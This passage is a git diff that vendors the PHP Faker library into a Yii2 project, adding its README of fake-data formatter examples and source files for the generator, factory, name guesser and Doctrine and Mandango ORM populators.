Chrome/14.0.894.0 Safari/5312' + firefox // 'Mozilla/5.0 (X11; Linuxi686; rv:7.0) Gecko/20101231 Firefox/3.6' + safari // 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_7_1 rv:3.0; en-US) AppleWebKit/534.11.3 (KHTML, like Gecko) Version/4.0 Safari/534.11.3' + opera // 'Opera/8.25 (Windows NT 5.1; en-US) Presto/2.9.188 Version/10.00' + internetExplorer // 'Mozilla/5.0 (compatible; MSIE 7.0; Windows 98; Win 9x 4.90; Trident/3.0)' + +### `Faker\Provider\Payment` + + creditCardType // 'MasterCard' + creditCardNumber // '4485480221084675' + creditCardExpirationDate // 04/13 + creditCardExpirationDateString // '04/13' + creditCardDetails // array('MasterCard', '4485480221084675', 'Aleksander Nowak', '04/13') + +### `Faker\Provider\Color` + + hexcolor // '#fa3cc2' + rgbcolor // '0,255,122' + rgbColorAsArray // array(0,255,122) + rgbCssColor // 'rgb(0,255,122)' + safeColorName // 'fuchsia' + colorName // 'Gainsbor' + +### `Faker\Provider\File` + + fileExtension // 'avi' + mimeType // 'video/x-msvideo' + // Copy a random file from the source to the target directory and returns the fullpath or filename + file($sourceDir = '/tmp', $targetDir = '/tmp') // '/path/to/targetDir/13b73edae8443990be1aa8f1a483bc27.jpg' + file($sourceDir, $targetDir, false) // '13b73edae8443990be1aa8f1a483bc27.jpg' + +### `Faker\Provider\Image` + + // Image generation provided by LoremPixel (http://lorempixel.com/) + imageUrl($width = 640, $height = 480) // 'http://lorempixel.com/640/480/' + imageUrl($width, $height, 'cats') // 'http://lorempixel.com/800/600/cats/' + image($dir = '/tmp', $width = 640, $height = 480) // '/tmp/13b73edae8443990be1aa8f1a483bc27.jpg' + image($dir, $width, $height, 'cats') // 'tmp/13b73edae8443990be1aa8f1a483bc27.jpg' it's a cat! + +### `Faker\Provider\Uuid` + + uuid // '7e57d004-2b97-0e7a-b45f-5387367791cd' + +### `Faker\Provider\Barcode` + + ean13 // '4006381333931' + ean8 // '73513537' + +### `Faker\Provider\Miscellaneous` + + boolean($chanceOfGettingTrue = 50) // true + md5 // 'de99a620c50f2990e87144735cd357e7' + sha1 // 'f08e7f04ca1a413807ebc47551a40a20a0b4de5c' + sha256 // '0061e4c60dac5c1d82db0135a42e00c89ae3a333e7c26485321f24348c7e98a5' + locale // en_UK + countryCode // UK + languageCode // en + +## Unique and Optional modifiers + +Faker provides two special providers, `unique()` and `optional()`, to be called before any provider. `optional()` can be useful for seeding non-required fields, like a mobile telephone number; `unique()` is required to populate fields that cannot accept twice the same value, like primary identifiers. + +```php +// unique() forces providers to return unique values +$values = array(); +for ($i=0; $i < 10; $i++) { + // get a random digit, but always a new one, to avoid duplicates + $values []= $faker->unique()->randomDigit; +} +print_r($values); // [4, 1, 8, 5, 0, 2, 6, 9, 7, 3] + +// providers with a limited range will throw an exception when no new unique value can be generated +$values = array(); +try { + for ($i=0; $i < 10; $i++) { + $values []= $faker->unique()->randomDigitNotNull; + } +} catch (\OverflowException $e) { + echo "There are only 9 unique digits not null, Faker can't generate 10 of them!"; +} + +// you can reset the unique modifier for all providers by passing true as first argument +$faker->unique($reset = true)->randomDigitNotNull; // will not throw OverflowException since unique() was reset +// tip: unique() keeps one array of values per provider + +// optional() sometimes bypasses the provider to return a default value instead (which defaults to NULL) +$values = array(); +for ($i=0; $i < 10; $i++) { + // get a random digit, but also null sometimes + $values []= $faker->optional()->randomDigit; +} +print_r($values); // [1, 4, null, 9, 5, null, null, 4, 6, null] + +// optional() accepts a weight argument to specify the probability of receiving the default value. +// 0 will always return the default value; 1 will always return the provider. Default weight is 0.5. +$faker->optional($weight = 0.1)->randomDigit; // 90% chance of NULL +$faker->optional($weight = 0.9)->randomDigit; // 10% chance of NULL + +// optional() accepts a default argument to specify the default value to return. +// Defaults to NULL. +$faker->optional($weight = 0.5, $default = false)->randomDigit; // 50% chance of FALSE +$faker->optional($weight = 0.9, $default = 'abc')->word; // 10% chance of 'abc' +``` + +## Localization + +`Faker\Factory` can take a locale as an argument, to return localized data. If no localized provider is found, the factory fallbacks to the default locale (en_EN). + +```php +name, "\n"; +} + // Luce du Coulon + // Auguste Dupont + // Roger Le Voisin + // Alexandre Lacroix + // Jacques Humbert-Roy + // Thérèse Guillet-Andre + // Gilles Gros-Bodin + // Amélie Pires + // Marcel Laporte + // Geneviève Marchal +``` + +You can check available Faker locales in the source code, [under the `Provider` directory](https://github.com/fzaninotto/Faker/tree/master/src/Faker/Provider). The localization of Faker is an ongoing process, for which we need your help. Don't hesitate to create localized providers to your own locale and submit a PR! + +## Populating Entities Using an ORM or an ODM + +Faker provides adapters for Object-Relational and Object-Document Mappers (currently, [Propel](http://www.propelorm.org), [Doctrine2](http://www.doctrine-project.org/projects/orm/2.0/docs/en), and [Mandango](https://github.com/mandango/mandango) are supported). These adapters ease the population of databases through the Entity classes provided by an ORM library (or the population of document stores using Document classes provided by an ODM library). + +To populate entities, create a new populator class (using a generator instance as parameter), then list the class and number of all the entities that must be generated. To launch the actual data population, call the `execute()` method. + +Here is an example showing how to populate 5 `Author` and 10 `Book` objects: + +```php +addEntity('Author', 5); +$populator->addEntity('Book', 10); +$insertedPKs = $populator->execute(); +``` + +The populator uses name and column type guessers to populate each column with relevant data. For instance, Faker populates a column named `first_name` using the `firstName` formatter, and a column with a `TIMESTAMP` type using the `dateTime` formatter. The resulting entities are therefore coherent. If Faker misinterprets a column name, you can still specify a custom closure to be used for populating a particular column, using the third argument to `addEntity()`: + +```php +addEntity('Book', 5, array( + 'ISBN' => function() use ($generator) { return $generator->randomNumber(13); } +)); +``` + +In this example, Faker will guess a formatter for all columns except `ISBN`, for which the given anonymous function will be used. + +**Tip**: To ignore some columns, specify `null` for the column names in the third argument of `addEntity()`. This is usually necessary for columns added by a behavior: + +```php +addEntity('Book', 5, array( + 'CreatedAt' => null, + 'UpdatedAt' => null, +)); +``` + +Of course, Faker does not populate autoincremented primary keys. In addition, `Faker\ORM\Propel\Populator::execute()` returns the list of inserted PKs, indexed by class: + +```php + (34, 35, 36, 37, 38), +// 'Book' => (456, 457, 458, 459, 470, 471, 472, 473, 474, 475) +// ) +``` + +In the previous example, the `Book` and `Author` models share a relationship. Since `Author` entities are populated first, Faker is smart enough to relate the populated `Book` entities to one of the populated `Author` entities. + +Lastly, if you want to execute an arbitrary function on an entity before insertion, use the fourth argument of the `addEntity()` method: + +```php +addEntity('Book', 5, array(), array( + function($book) { $book->publish(); }, +)); +``` + +## Seeding the Generator + +You may want to get always the same generated data - for instance when using Faker for unit testing purposes. The generator offers a `seed()` method, which seeds the random number generator. Calling the same script twice with the same seed produces the same results. + +```php +seed(1234); + +echo $faker->name; // 'Jess Mraz I'; +``` + +> **Tip**: DateTime formatters won't reproduce the same fake data if you don't fix the `$max` value: +> +> ```php +> // even when seeded, this line will return different results because $max varies +> $faker->dateTime(); // equivalent to $faker->dateTime($max = 'now') +> // make sure you fix the $max parameter +> $faker->dateTime('2014-02-25 08:37:17'); // will return always the same date when seeded + +## Faker Internals: Understanding Providers + +A `Faker\Generator` alone can't do much generation. It needs `Faker\Provider` objects to delegate the data generation to them. `Faker\Factory::create()` actually creates a `Faker\Generator` bundled with the default providers. Here is what happens under the hood: + +```php +addProvider(new Faker\Provider\en_US\Person($faker)); +$faker->addProvider(new Faker\Provider\en_US\Address($faker)); +$faker->addProvider(new Faker\Provider\en_US\PhoneNumber($faker)); +$faker->addProvider(new Faker\Provider\en_US\Company($faker)); +$faker->addProvider(new Faker\Provider\Lorem($faker)); +$faker->addProvider(new Faker\Provider\Internet($faker)); +```` + +Whenever you try to access a property on the `$faker` object, the generator looks for a method with the same name in all the providers attached to it. For instance, calling `$faker->name` triggers a call to `Faker\Provider\Person::name()`. And since Faker starts with the last provider, you can easily override existing formatters: just add a provider containing methods named after the formatters you want to override. + +That means that you can easily add your own providers to a `Faker\Generator` instance. A provider is usually a class extending `\Faker\Provider\Base`. This parent class allows you to use methods like `lexify()` or `randomNumber()`; it also gives you access to formatters of other providers, through the protected `$generator` property. The new formatters are the public methods of the provider class. + +Here is an example provider for populating Book data: + +```php +generator->sentence($nbWords); + return substr($sentence, 0, strlen($sentence) - 1); + } + + public function ISBN() + { + return $this->generator->randomNumber(13); + } +} +``` + +To register this provider, just add a new instance of `\Faker\Provider\Book` to an existing generator: + +```php +addProvider(new \Faker\Provider\Book($faker)); +``` + +Now you can use the two new formatters like any other Faker formatter: + +```php +setTitle($faker->title); +$book->setISBN($faker->ISBN); +$book->setSummary($faker->text); +$book->setPrice($faker->randomNumber(2)); +``` + +**Tip**: A provider can also be a Plain Old PHP Object. In that case, all the public methods of the provider become available to the generator. + +## Real Life Usage + +The following script generates a valid XML document: + +```php + + + + + + +boolean(25)): ?> + + +
              + streetAddress ?> + city ?> + postcode ?> + state ?> +
              + +boolean(33)): ?> + bs ?> + +boolean(33)): ?> + + + +boolean(15)): ?> +
              +text(400) ?> +]]> +
              + +
              + +
              +``` + +Running this script produces a document looking like: + +```xml + + + + +
              + 182 Harrison Cove + North Lloyd + 45577 + Alabama +
              + + orchestrate compelling web-readiness + +
              + +
              +
              + + +
              + 90111 Hegmann Inlet + South Geovanymouth + 69961-9311 + Colorado +
              + + +
              + + +
              + 9791 Nona Corner + Harberhaven + 74062-8191 + RhodeIsland +
              + + +
              + + +
              + 11161 Schultz Via + Feilstad + 98019 + NewJersey +
              + + + +
              + +
              +
              + + +
              + 6106 Nader Village Suite 753 + McLaughlinstad + 43189-8621 + Missouri +
              + + expedite viral synergies + + +
              + + +
              + 7546 Kuvalis Plaza + South Wilfrid + 77069 + Georgia +
              + + +
              + + + +
              + 478 Daisha Landing Apt. 510 + West Lizethhaven + 30566-5362 + WestVirginia +
              + + orchestrate dynamic networks + + +
              + +
              +
              + + +
              + 1251 Koelpin Mission + North Revastad + 81620 + Maryland +
              + + +
              + + +
              + 6396 Langworth Hills Apt. 446 + New Carlos + 89399-0268 + Wyoming +
              + + + +
              + + + +
              + 2246 Kreiger Station Apt. 291 + Kaydenmouth + 11397-1072 + Wyoming +
              + + grow sticky portals + +
              + +
              +
              +
              +``` + +## Language specific formatters + +### `Faker\Provider\cs_CZ\Address` +```php +region; // "Liberecký kraj" + +``` + +### `Faker\Provider\cs_CZ\Company` +```php +ico; // "69663963" + +``` + +### `Faker\Provider\cs_CZ\DateTime` +```php +monthNameGenitive; // "prosince" +echo $faker->formattedDate; // "12. listopadu 2015" + +``` + +### `Faker\Provider\da_DK\Person` + +```php +cpr; // "051280-2387" + +``` + +### `Faker\Provider\da_DK\Address` + +```php +kommune; // "Frederiksberg" + +// Generates a random region name +echo $faker->region; // "Region Sjælland" + +``` + +### `Faker\Provider\da_DK\Company` + +```php +cvr; // "32458723" + +// Generates a random P number +echo $faker->p; // "5398237590" + +``` + +### `Faker\Provider\fr_FR\Company` + +```php +siren; // 082 250 104 + +// Generates a random SIRET number +echo $faker->siret; // 347 355 708 00224 + +// Generates a random SIRET number (controlling the number of sequential digits) +echo $faker->siret(3); // 438 472 611 01513 + +``` + +### `Faker\Provider\fr_FR\Address` + +```php +departmentName; // "Haut-Rhin" + +// Generates a random department number +echo $faker->departmentNumber; // "2B" + +// Generates a random department info (department number => department name) +$faker->department; // array('18' => 'Cher'); + +// Generates a random region +echo $faker->region; // "Saint-Pierre-et-Miquelon" + +``` + +### `Faker\Provider\ja_JP\Person` + +```php +kanaName; // "アオタ ナオコ" + +// Generates a 'kana' first name +echo $faker->firstKanaName; // "トモミ" + +// Generates a 'kana' last name +echo $faker->lastKanaName; // "ナギサ" +``` + +### `Faker\Provider\pl_PL\Person` + +```php +pesel; // "40061451555" +// Generates a random personal identity card number +echo $faker->personalIdentityNumber; // "AKX383360" +// Generates a random taxpayer identification number (NIP) +echo $faker->taxpayerIdentificationNumber; // '8211575109' + +``` + +### `Faker\Provider\pl_PL\Company` + +```php +regon; // "714676680" +// Generates a random local REGON number +echo $faker->regonLocal; // "15346111382836" + +``` + +### `Faker\Provider\pl_PL\Payment` + +```php +bank; // "Narodowy Bank Polski" +// Generates a random bank account number +echo $faker->bankAccountNumber; // "PL14968907563953822118075816" + +``` + +### `Faker\Provider\pt_PT\Person` + +```php +taxpayerIdentificationNumber; // '165249277' + +``` + +### `Faker\Provider\ro_RO\Person` + +```php +prefixMale; // "ing." +// Generates a random female name prefix/title +echo $faker->prefixFemale; // "d-na." +// Generates a random male fist name +echo $faker->firstNameMale; // "Adrian" +// Generates a random female fist name +echo $faker->firstNameFemale; // "Miruna" + +// Generates a random Personal Numerical Code (CNP) +echo $faker->cnp; // "2800523081231" +echo $faker->cnp($gender = NULL, $century = NULL, $county = NULL); + +// Valid option values: +// $gender: m, f, 1, 2 +// $century: 1800, 1900, 2000, 1, 2, 3, 4, 5, 6 +// $county: 2 letter ISO 3166-2:RO county codes and B1-B6 for Bucharest's 6 sectors +``` + +### `Faker\Provider\ro_RO\PhoneNumber` + +```php +tollFreePhoneNumber; // "0800123456" +// Generates a random premium-rate phone number +echo $faker->premiumRatePhoneNumber; // "0900123456" +``` + +## License + +Faker is released under the MIT Licence. See the bundled LICENSE file for details. diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php new file mode 100644 index 00000000..ad75ccdb --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php @@ -0,0 +1,27 @@ +optional(). + */ +class DefaultGenerator +{ + protected $default = null; + + public function __construct($default = null) + { + $this->default = $default; + } + + public function __get($attribute) + { + return $this->default; + } + + public function __call($method, $attributes) + { + return $this->default; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Documentor.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Documentor.php new file mode 100644 index 00000000..0cfa930c --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Documentor.php @@ -0,0 +1,56 @@ +generator = $generator; + } + + public function getFormatters() + { + $formatters = array(); + $providers = array_reverse($this->generator->getProviders()); + $providers[]= new \Faker\Provider\Base($this->generator); + foreach ($providers as $provider) { + $providerClass = get_class($provider); + $formatters[$providerClass] = array(); + $refl = new \ReflectionObject($provider); + foreach ($refl->getMethods(\ReflectionMethod::IS_PUBLIC) as $reflmethod) { + if ($reflmethod->getDeclaringClass()->getName() == 'Faker\Provider\Base' && $providerClass != 'Faker\Provider\Base') { + continue; + } + $methodName = $reflmethod->name; + if ($reflmethod->isConstructor()) { + continue; + } + $parameters = array(); + foreach ($reflmethod->getParameters() as $reflparameter) { + $parameter = '$'. $reflparameter->getName(); + if ($reflparameter->isDefaultValueAvailable()) { + $parameter .= ' = ' . var_export($reflparameter->getDefaultValue(), true); + } + $parameters []= $parameter; + } + $parameters = $parameters ? '('. join(', ', $parameters) . ')' : ''; + $example = $this->generator->format($methodName); + if (is_array($example)) { + $example = "array('". join("', '", $example) . "')"; + } elseif ($example instanceof \DateTime) { + $example = "DateTime('" . $example->format('Y-m-d H:i:s') . "')"; + } elseif ($example instanceof Generator || $example instanceof UniqueGenerator) { // modifier + $example = ''; + } else { + $example = var_export($example, true); + } + $formatters[$providerClass][$methodName . $parameters] = $example; + } + } + + return $formatters; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Factory.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Factory.php new file mode 100644 index 00000000..09e440c3 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Factory.php @@ -0,0 +1,46 @@ +addProvider(new $providerClassName($generator)); + } + + return $generator; + } + + protected static function getProviderClassname($provider, $locale = '') + { + if ($providerClass = self::findProviderClassname($provider, $locale)) { + return $providerClass; + } + // fallback to default locale + if ($providerClass = self::findProviderClassname($provider, static::DEFAULT_LOCALE)) { + return $providerClass; + } + // fallback to no locale + $providerClass = self::findProviderClassname($provider); + if (class_exists($providerClass)) { + return $providerClass; + } + throw new \InvalidArgumentException(sprintf('Unable to find provider "%s" with locale "%s"', $provider, $locale)); + } + + protected static function findProviderClassname($provider, $locale = '') + { + $providerClass = 'Faker\\' . ($locale ? sprintf('Provider\%s\%s', $locale, $provider) : sprintf('Provider\%s', $provider)); + if (class_exists($providerClass, true)) { + return $providerClass; + } + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Generator.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Generator.php new file mode 100644 index 00000000..1661c303 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Generator.php @@ -0,0 +1,195 @@ +providers, $provider); + } + + public function getProviders() + { + return $this->providers; + } + + public function seed($seed = null) + { + mt_srand($seed); + } + + public function format($formatter, $arguments = array()) + { + return call_user_func_array($this->getFormatter($formatter), $arguments); + } + + /** + * @return Callable + */ + public function getFormatter($formatter) + { + if (isset($this->formatters[$formatter])) { + return $this->formatters[$formatter]; + } + foreach ($this->providers as $provider) { + if (method_exists($provider, $formatter)) { + $this->formatters[$formatter] = array($provider, $formatter); + + return $this->formatters[$formatter]; + } + } + throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); + } + + /** + * Replaces tokens ('{{ tokenName }}') with the result from the token method call + * + * @param string $string String that needs to bet parsed + * @return string + */ + public function parse($string) + { + return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string); + } + + protected function callFormatWithMatches($matches) + { + return $this->format($matches[1]); + } + + public function __get($attribute) + { + return $this->format($attribute); + } + + public function __call($method, $attributes) + { + return $this->format($method, $attributes); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Guesser/Name.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Guesser/Name.php new file mode 100644 index 00000000..604cce18 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Guesser/Name.php @@ -0,0 +1,92 @@ +generator = $generator; + } + + public function guessFormat($name) + { + $name = Base::toLower($name); + $generator = $this->generator; + if (preg_match('/^is[_A-Z]/', $name)) { + return function () use ($generator) { + return $generator->boolean; + }; + } + if (preg_match('/(_a|A)t$/', $name)) { + return function () use ($generator) { + return $generator->dateTime; + }; + } + switch ($name) { + case 'first_name': + case 'firstname': + return function () use ($generator) { + return $generator->firstName; + }; + case 'last_name': + case 'lastname': + return function () use ($generator) { + return $generator->lastName; + }; + case 'username': + case 'login': + return function () use ($generator) { + return $generator->userName; + }; + case 'email': + return function () use ($generator) { + return $generator->email; + }; + case 'phone_number': + case 'phonenumber': + case 'phone': + return function () use ($generator) { + return $generator->phoneNumber; + }; + case 'address': + return function () use ($generator) { + return $generator->address; + }; + case 'city': + return function () use ($generator) { + return $generator->city; + }; + case 'streetaddress': + return function () use ($generator) { + return $generator->streetAddress; + }; + case 'postcode': + case 'zipcode': + return function () use ($generator) { + return $generator->postcode; + }; + case 'state': + return function () use ($generator) { + return $generator->state; + }; + case 'country': + return function () use ($generator) { + return $generator->country; + }; + case 'title': + return function () use ($generator) { + return $generator->sentence; + }; + case 'body': + case 'summary': + return function () use ($generator) { + return $generator->text; + }; + } + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Doctrine/ColumnTypeGuesser.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Doctrine/ColumnTypeGuesser.php new file mode 100644 index 00000000..899dc95b --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Doctrine/ColumnTypeGuesser.php @@ -0,0 +1,68 @@ +generator = $generator; + } + + public function guessFormat($fieldName, ClassMetadata $class) + { + $generator = $this->generator; + $type = $class->getTypeOfField($fieldName); + switch ($type) { + case 'boolean': + return function () use ($generator) { + return $generator->boolean; + }; + case 'decimal': + $size = isset($class->fieldMappings[$fieldName]['precision']) ? $class->fieldMappings[$fieldName]['precision'] : 2; + + return function () use ($generator, $size) { + return $generator->randomNumber($size + 2) / 100; + }; + case 'smallint': + return function () { + return mt_rand(0, 65535); + }; + case 'integer': + return function () { + return mt_rand(0, intval('2147483647')); + }; + case 'bigint': + return function () { + return mt_rand(0, intval('18446744073709551615')); + }; + case 'float': + return function () { + return mt_rand(0, intval('4294967295'))/mt_rand(1, intval('4294967295')); + }; + case 'string': + $size = isset($class->fieldMappings[$fieldName]['length']) ? $class->fieldMappings[$fieldName]['length'] : 255; + + return function () use ($generator, $size) { + return $generator->text($size); + }; + case 'text': + return function () use ($generator) { + return $generator->text; + }; + case 'datetime': + case 'date': + case 'time': + return function () use ($generator) { + return $generator->datetime; + }; + default: + // no smart way to guess what the user expects here + return null; + } + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Doctrine/EntityPopulator.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Doctrine/EntityPopulator.php new file mode 100644 index 00000000..5ed8acbb --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Doctrine/EntityPopulator.php @@ -0,0 +1,193 @@ +class = $class; + } + + /** + * @return string + */ + public function getClass() + { + return $this->class->getName(); + } + + public function setColumnFormatters($columnFormatters) + { + $this->columnFormatters = $columnFormatters; + } + + public function getColumnFormatters() + { + return $this->columnFormatters; + } + + public function mergeColumnFormattersWith($columnFormatters) + { + $this->columnFormatters = array_merge($this->columnFormatters, $columnFormatters); + } + + public function setModifiers(array $modifiers) + { + $this->modifiers = $modifiers; + } + + public function getModifiers() + { + return $this->modifiers; + } + + public function mergeModifiersWith(array $modifiers) + { + $this->modifiers = array_merge($this->modifiers, $modifiers); + } + + public function guessColumnFormatters(\Faker\Generator $generator) + { + $formatters = array(); + $nameGuesser = new \Faker\Guesser\Name($generator); + $columnTypeGuesser = new ColumnTypeGuesser($generator); + foreach ($this->class->getFieldNames() as $fieldName) { + if ($this->class->isIdentifier($fieldName) || !$this->class->hasField($fieldName)) { + continue; + } + + if ($formatter = $nameGuesser->guessFormat($fieldName)) { + $formatters[$fieldName] = $formatter; + continue; + } + if ($formatter = $columnTypeGuesser->guessFormat($fieldName, $this->class)) { + $formatters[$fieldName] = $formatter; + continue; + } + } + + foreach ($this->class->getAssociationNames() as $assocName) { + if ($this->class->isCollectionValuedAssociation($assocName)) { + continue; + } + + $relatedClass = $this->class->getAssociationTargetClass($assocName); + + $unique = $optional = false; + $mappings = $this->class->getAssociationMappings(); + foreach ($mappings as $mapping) { + if ($mapping['targetEntity'] == $relatedClass) { + if ($mapping['type'] == ClassMetadata::ONE_TO_ONE) { + $unique = true; + $optional = isset($mapping['joinColumns'][0]['nullable']) ? $mapping['joinColumns'][0]['nullable'] : false; + break; + } + } + } + + $index = 0; + $formatters[$assocName] = function ($inserted) use ($relatedClass, &$index, $unique, $optional) { + if ($unique && isset($inserted[$relatedClass])) { + $related = null; + if (isset($inserted[$relatedClass][$index]) || !$optional) { + $related = $inserted[$relatedClass][$index]; + } + + $index++; + + return $related; + } elseif (isset($inserted[$relatedClass])) { + return $inserted[$relatedClass][mt_rand(0, count($inserted[$relatedClass]) - 1)]; + } + + return null; + }; + } + + return $formatters; + } + + /** + * Insert one new record using the Entity class. + */ + public function execute(ObjectManager $manager, $insertedEntities, $generateId = false) + { + $obj = $this->class->newInstance(); + + $this->fillColumns($obj, $insertedEntities); + $this->callMethods($obj, $insertedEntities); + + if ($generateId) { + $idsName = $this->class->getIdentifier(); + foreach ($idsName as $idName) { + $id = $this->generateId($obj, $idName, $manager); + $this->class->reflFields[$idName]->setValue($obj, $id); + } + } + + $manager->persist($obj); + + return $obj; + } + + private function fillColumns($obj, $insertedEntities) + { + foreach ($this->columnFormatters as $field => $format) { + if (null !== $format) { + $value = is_callable($format) ? $format($insertedEntities, $obj) : $format; + $this->class->reflFields[$field]->setValue($obj, $value); + } + } + } + + private function callMethods($obj, $insertedEntities) + { + foreach ($this->getModifiers() as $modifier) { + $modifier($obj, $insertedEntities); + } + } + + private function generateId($obj, $column, EntityManagerInterface $manager) + { + /* @var $repository \Doctrine\ORM\EntityRepository */ + $repository = $manager->getRepository(get_class($obj)); + $result = $repository->createQueryBuilder('e') + ->select(sprintf('e.%s', $column)) + ->getQuery() + ->getResult(); + $ids = array_map('current', $result); + + $id = null; + do { + $id = rand(); + } while (in_array($id, $ids)); + + return $id; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Doctrine/Populator.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Doctrine/Populator.php new file mode 100644 index 00000000..de97c519 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Doctrine/Populator.php @@ -0,0 +1,78 @@ +generator = $generator; + $this->manager = $manager; + } + + /** + * Add an order for the generation of $number records for $entity. + * + * @param mixed $entity A Doctrine classname, or a \Faker\ORM\Doctrine\EntityPopulator instance + * @param int $number The number of entities to populate + */ + public function addEntity($entity, $number, $customColumnFormatters = array(), $customModifiers = array(), $generateId = false) + { + if (!$entity instanceof \Faker\ORM\Doctrine\EntityPopulator) { + if (null === $this->manager) { + throw new \InvalidArgumentException("No entity manager passed to Doctrine Populator."); + } + $entity = new \Faker\ORM\Doctrine\EntityPopulator($this->manager->getClassMetadata($entity)); + } + $entity->setColumnFormatters($entity->guessColumnFormatters($this->generator)); + if ($customColumnFormatters) { + $entity->mergeColumnFormattersWith($customColumnFormatters); + } + $entity->mergeModifiersWith($customModifiers); + $this->generateId[$entity->getClass()] = $generateId; + + $class = $entity->getClass(); + $this->entities[$class] = $entity; + $this->quantities[$class] = $number; + } + + /** + * Populate the database using all the Entity classes previously added. + * + * @param EntityManager $entityManager A Propel connection object + * + * @return array A list of the inserted PKs + */ + public function execute($entityManager = null) + { + if (null === $entityManager) { + $entityManager = $this->manager; + } + if (null === $entityManager) { + throw new \InvalidArgumentException("No entity manager passed to Doctrine Populator."); + } + + $insertedEntities = array(); + foreach ($this->quantities as $class => $number) { + $generateId = $this->generateId[$class]; + for ($i=0; $i < $number; $i++) { + $insertedEntities[$class][]= $this->entities[$class]->execute($entityManager, $insertedEntities, $generateId); + } + $entityManager->flush(); + } + + return $insertedEntities; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Mandango/ColumnTypeGuesser.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Mandango/ColumnTypeGuesser.php new file mode 100644 index 00000000..e64dc758 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Mandango/ColumnTypeGuesser.php @@ -0,0 +1,43 @@ +generator = $generator; + } + + public function guessFormat($field) + { + $generator = $this->generator; + switch ($field['type']) { + case 'boolean': + return function () use ($generator) { + return $generator->boolean; + }; + case 'integer': + return function () { + return mt_rand(0, intval('4294967295')); + }; + case 'float': + return function () { + return mt_rand(0, intval('4294967295'))/mt_rand(1, intval('4294967295')); + }; + case 'string': + return function () use ($generator) { + return $generator->text(255); + }; + case 'date': + return function () use ($generator) { + return $generator->datetime; + }; + default: + // no smart way to guess what the user expects here + return null; + } + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Mandango/EntityPopulator.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Mandango/EntityPopulator.php new file mode 100644 index 00000000..061df77f --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Mandango/EntityPopulator.php @@ -0,0 +1,110 @@ +class = $class; + } + + public function getClass() + { + return $this->class; + } + + public function setColumnFormatters($columnFormatters) + { + $this->columnFormatters = $columnFormatters; + } + + public function getColumnFormatters() + { + return $this->columnFormatters; + } + + public function mergeColumnFormattersWith($columnFormatters) + { + $this->columnFormatters = array_merge($this->columnFormatters, $columnFormatters); + } + + public function guessColumnFormatters(\Faker\Generator $generator, Mandango $mandango) + { + $formatters = array(); + $nameGuesser = new \Faker\Guesser\Name($generator); + $columnTypeGuesser = new \Faker\ORM\Mandango\ColumnTypeGuesser($generator); + + $metadata = $mandango->getMetadata($this->class); + + // fields + foreach ($metadata['fields'] as $fieldName => $field) { + if ($formatter = $nameGuesser->guessFormat($fieldName)) { + $formatters[$fieldName] = $formatter; + continue; + } + if ($formatter = $columnTypeGuesser->guessFormat($field)) { + $formatters[$fieldName] = $formatter; + continue; + } + } + + // references + foreach (array_merge($metadata['referencesOne'], $metadata['referencesMany']) as $referenceName => $reference) { + if (!isset($reference['class'])) { + continue; + } + $referenceClass = $reference['class']; + + $formatters[$referenceName] = function ($insertedEntities) use ($referenceClass) { + if (isset($insertedEntities[$referenceClass])) { + return Base::randomElement($insertedEntities[$referenceClass]); + } + }; + } + + return $formatters; + } + + /** + * Insert one new record using the Entity class. + */ + public function execute(Mandango $mandango, $insertedEntities) + { + $metadata = $mandango->getMetadata($this->class); + + $obj = $mandango->create($this->class); + foreach ($this->columnFormatters as $column => $format) { + if (null !== $format) { + $value = is_callable($format) ? $format($insertedEntities, $obj) : $format; + + if (isset($metadata['fields'][$column]) || + isset($metadata['referencesOne'][$column])) { + $obj->set($column, $value); + } + + if (isset($metadata['referencesMany'][$column])) { + $adder = 'add'.ucfirst($column); + $obj->$adder($value); + } + } + } + $mandango->persist($obj); + + return $obj; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Mandango/Populator.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Mandango/Populator.php new file mode 100644 index 00000000..57a06a54 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/ORM/Mandango/Populator.php @@ -0,0 +1,61 @@ +generator = $generator; + $this->mandango = 